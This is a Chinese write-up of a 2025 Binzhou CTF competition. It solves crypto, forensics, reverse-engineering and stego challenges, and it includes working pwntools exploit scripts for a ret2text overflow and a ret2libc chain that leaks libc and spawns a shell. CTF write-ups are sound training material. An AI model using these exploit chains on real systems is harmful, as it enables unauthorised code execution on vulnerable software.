The 4th Cybersecurity Competition of Binzhou in 2025 WriteUp

好久没All Kill了,非要在七夕这天吗?😔

Crypto

aes-2

aes-2.py

#!/usr/bin/python
from Crypto.Cipher import AES
import binascii
from Crypto.Util.number import bytes_to_long
from flag import flag
import random
import string
import os

def genkey(l):
    return random.getrandbits(l)

iv = flag.strip(b'flag{').strip(b'}')

key = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(16)])
LENGTH = len(key)
assert LENGTH == 16

hint = os.urandom(4) * 8
print(bytes_to_long(hint)^bytes_to_long(key))

msg = b'Welcome, ctfer. Dont try too hard, its no use. Have a good day!!'

def encrypto(message):
    aes = AES.new(key,AES.MODE_CBC,iv)
    return aes.encrypt(message)

print(binascii.hexlify(encrypto(msg))[-32:])

'''
99748265546679089946917295913637945222843938798184123305418691873367322323659
bc03f3ac4ff8064acbcfaf0b0bf2ba7b
'''

hint = urandom(4)*8​ → 32字节由同一4字节重复而成。打印的是 bytes_to_long(hint) ^ bytes_to_long(key)​,其中 key​ 只有16字节(低位)。因此把这个大整数还原为32字节后,“高16字节=hint_low​”,“低16字节=hint_low ^ key​”,两者再异或即可得到 key​。

已知最后一块密文 C4​ 和明文消息(64字节,4块,且无填充),在 CBC 中有
D_k(Ci) = Pi ⊕ C_{i-1}​ ⇒ C_{i-1} = D_k(Ci) ⊕ Pi​。
用解出的 key 依次回推 C3 → C2 → C1 → IV

solve.py

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii

num = 99748265546679089946917295913637945222843938798184123305418691873367322323659
last_block_hex = "bc03f3ac4ff8064acbcfaf0b0bf2ba7b"
msg = b'Welcome, ctfer. Dont try too hard, its no use. Have a good day!!'

# 还原 hint ^ key 的 32字节
x = long_to_bytes(num, 32)

# 还原key
hint_low = x[:16]
part = x[16:]
key = bytes(a ^ b for a, b in zip(hint_low, part))
print("[+] Key:", key.decode())

# 用 AES 解最后一个密文块,倒推出 IV
last_block = binascii.unhexlify(last_block_hex)
aes = AES.new(key, AES.MODE_ECB)
de_last = aes.decrypt(last_block)

# 明文分块
blocks = [msg[i:i+16] for i in range(0, len(msg), 16)]

# 从最后一块开始回推 CBC 链
C4 = last_block
P4 = blocks[3]
C3 = bytes(a ^ b for a, b in zip(de_last, P4))

# 继续解 C3 得到 C2...
de_C3 = aes.decrypt(C3)
P3 = blocks[2]
C2 = bytes(a ^ b for a, b in zip(de_C3, P3))

# 解 C2 得到 C1
de_C2 = aes.decrypt(C2)
P2 = blocks[1]
C1 = bytes(a ^ b for a, b in zip(de_C2, P2))

# 解 C1 得到 IV
de_C1 = aes.decrypt(C1)
P1 = blocks[0]
IV = bytes(a ^ b for a, b in zip(de_C1, P1))

print("[+] IV:", IV)
print("[+] flag{" + IV.decode() + "}")
# [+] Key: UOJKMFZBcDB9E3nK
# [+] IV: b'may_be_not_easy!'
# [+] flag{may_be_not_easy!}

newcomer

newcomer.py:

from Crypto.Util.number import bytes_to_long,inverse,getPrime
from flag import flag

m = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p*q
print(n)
e = 65537

c = pow(m,e,n)

pq = p*(q-1)
qp = q*(p-1)

print("c=",c)
print("n=",n)
print("pq=",pq)
print("qp=",qp)

'''
c= 8722269075970644434253339592758512788160408912707387632591552130175707843950684315083250494010055435391879036285103810263591951437829414438640307561645721347859659807138051841516634704123100270651976676182059252251162982609391666023674158274992400910869692389001622774140191223807887675081808561012755545464977015973615407965906513878979919700065923364884766974187303774330319143647840846354404070430118235352622445115153298578370521811697710289716188726587743282814946239856766713516166990341116198180068191759095913957606379780234116317390622824096667107736103270907349927467971817639795094030622157581511033950777
n= 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074584935050067254029262890188260006596141011807724688556673520261743199388391094490191001701011230322653422314758778116196105077883955436582364267530633358016652912054880813710531145973799193443828969535902856467548523653920307742364119002349899553478815101092655897400295925170383678499125295006364960124859003
pq= 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074488896197029704465200125337817646702009123916866455067019234171839614862660036737875747177391796376553159880972782837853473250804807544086701088829096838316550146794766718580877976153967582795248676367265069623900208276878140709691073369415161936376086988069213820933152601453587292943483693378833664901178324
qp= 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074475956379708898904933143429835002718457573266164923043251954374464149976302585916538814746811455883837138715445492053610047383292461097590195481556557381952895539341802954749542143253491617052100969586396996063822508764438280468492894012685918249843558593322831683872737943676955669923498182824352081785243246
'''
pq = p*(q-1)
qp = q*(p-1)

可以改写一下:

pq = p*q - p = n - p

qp = q*p - q = n - q

于是:

pq = n - p​ 可以得到 p = n - pq​,从 qp = n - q​ 可以得到 q = n - qp​,这样我们就能直接算出 p 和 q

solve.py

from Crypto.Util.number import inverse, long_to_bytes

c = 8722269075970644434253339592758512788160408912707387632591552130175707843950684315083250494010055435391879036285103810263591951437829414438640307561645721347859659807138051841516634704123100270651976676182059252251162982609391666023674158274992400910869692389001622774140191223807887675081808561012755545464977015973615407965906513878979919700065923364884766974187303774330319143647840846354404070430118235352622445115153298578370521811697710289716188726587743282814946239856766713516166990341116198180068191759095913957606379780234116317390622824096667107736103270907349927467971817639795094030622157581511033950777
n = 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074584935050067254029262890188260006596141011807724688556673520261743199388391094490191001701011230322653422314758778116196105077883955436582364267530633358016652912054880813710531145973799193443828969535902856467548523653920307742364119002349899553478815101092655897400295925170383678499125295006364960124859003
pq = 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074488896197029704465200125337817646702009123916866455067019234171839614862660036737875747177391796376553159880972782837853473250804807544086701088829096838316550146794766718580877976153967582795248676367265069623900208276878140709691073369415161936376086988069213820933152601453587292943483693378833664901178324
qp = 10466186506773626671397261081802640650185744558208505628349249045496105597268556020207175016523119333667851114848452038431498926527983706092607207796937431312520131882751891731564121558651246025754915145600686076505962750195353958781726515647847167067621799990588328894365930423844435964506372428647802381074475956379708898904933143429835002718457573266164923043251954374464149976302585916538814746811455883837138715445492053610047383292461097590195481556557381952895539341802954749542143253491617052100969586396996063822508764438280468492894012685918249843558593322831683872737943676955669923498182824352081785243246
e = 65537

p = n - pq
q = n - qp

assert p * q == n

phi = (p-1)*(q-1)
d = inverse(e, phi)

m = pow(c, d, n)
flag_bytes = long_to_bytes(m)
print(flag_bytes.decode())
# flag{719014b3-c4e1-4f81-a7be-b4f0d65c9e10}

Forensic

welcome

简单的流量分析,全是tcp流,

]0;root@ubuntu: /root@ubuntu:/# 
ls

ls
bin
boot
cdrom
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
patch
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
www
]0;root@ubuntu: /root@ubuntu:/# 
head -n 1 flag

head -n 1 flag
flag{fea4087d-6d95-4d85
]0;root@ubuntu: /root@ubuntu:/# 
whoami

whoami
root
]0;root@ubuntu: /root@ubuntu:/# 
rar a flag.rar flag -pda19b65c17dc

rar a flag.rar flag -pda19b65c17dc

RAR 5.50   Copyright (c) 1993-2017 Alexander Roshal   11 Aug 2017
Trial version             Type 'rar -?' for help

Evaluation copy. Please register.

Creating archive flag.rar

Adding    flag                                                           100%  OK 
Done
]0;root@ubuntu: /root@ubuntu:/# 
cat flag.rar

cat flag.rar
Rar!

直接复制出来压缩包,密码是da19b65c17dc

image

flag{fea4087d-6d95-4d85-958c-d9ef733d0a66}

REVERSE

PZXoor

ida64打开

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char Str[80]; // [rsp+20h] [rbp-60h] BYREF
  char Str1[28]; // [rsp+70h] [rbp-10h] BYREF
  int i; // [rsp+8Ch] [rbp+Ch]

  _main();
  qmemcpy(Str1, "DNW@RoY{`}bu`}{z.Qb{xa`}{zi", 27);
  scanf("%s", Str);
  for ( i = 0; i < strlen(Str); ++i )
    Str[i] ^= 0x14u;
  if ( !strcmp(Str1, Str) )
    printf(asc_404003);
  else
    printf("Emmmmm");
  return 0;
}

就是在异或0x14​,solve.py

cipher = "DNW@RoY{`}bu`}{z.Qb{xa`}{zi"
flag = "".join(chr(ord(c) ^ 0x14) for c in cipher)
print(flag)
#  PZCTF{Motivation:Evolution}

image

PWN

ret2text

很简单的ret2text漏洞利用,有后门函数

image

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  func();
  return 0;
}

func函数:

int func()
{
  char s[18]; // [esp+6h] [ebp-12h] BYREF

  gets(s);
  return puts(s);
}

image

solve.py

#encoding = utf-8
from pwn import *

context.update(arch='i386', os='linux')

elf = ELF('./ret2text')  # 修改为你的二进制文件名

# 偏移量 = s[18] + saved EBP
offset = 22

# backdoor 函数地址
backdoor_addr = 0x0804846B

payload = b"A"*offset + p32(backdoor_addr)

io = process('./ret2text')

io.sendline(payload)

io.interactive()

plt

栈溢出

#encoding = utf-8
from pwn import *
from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'

p = process('./plt')
elf = ELF('./plt')

def debug():
    gdb.attach(p)
    pause()

def pwn():
    putplt = elf.plt['puts']
    putgot = elf.got['puts']
    rdi = 0x00000000004007a3
    pl = 'a'*0x48 + p64(rdi) + p64(putgot) + p64(putplt) + p64(0x04006FB)
    sla('Welcome to easepwn\n',pl)
    putsaddr = uu64(r(6))
    leak('putsaddr',putsaddr)

    libc=LibcSearcher("puts",putsaddr)
    libcbase = putsaddr - libc.dump['puts']

    addr_system=libcbase+libc.dump("system")
    addr_binsh=libcbase+libc.dump("str_bin_sh")
    pl = 'a'*0x48 + p64(rdi) + p64(addr_binsh) + p64(addr_system)
    sla('Welcome to easepwn\n',pl)
    #debug()
    itr()

if __name__ == '__main__':
    pwn()

Steg

easymisc

foremost jpg文件得到png,然后修改宽高就可

image

MISC

Lost

查看key,发现是一个zlib块,用hint.png补齐文件头后修改IDAT块长度

a9ebe2d3d3273a427a75a5ed7e499d8d

key2

密码是Master_Of_PNG​,然后LSB隐写

image

flag{57ceee52-aa43-4ec5-87bf-139c7a0372e6}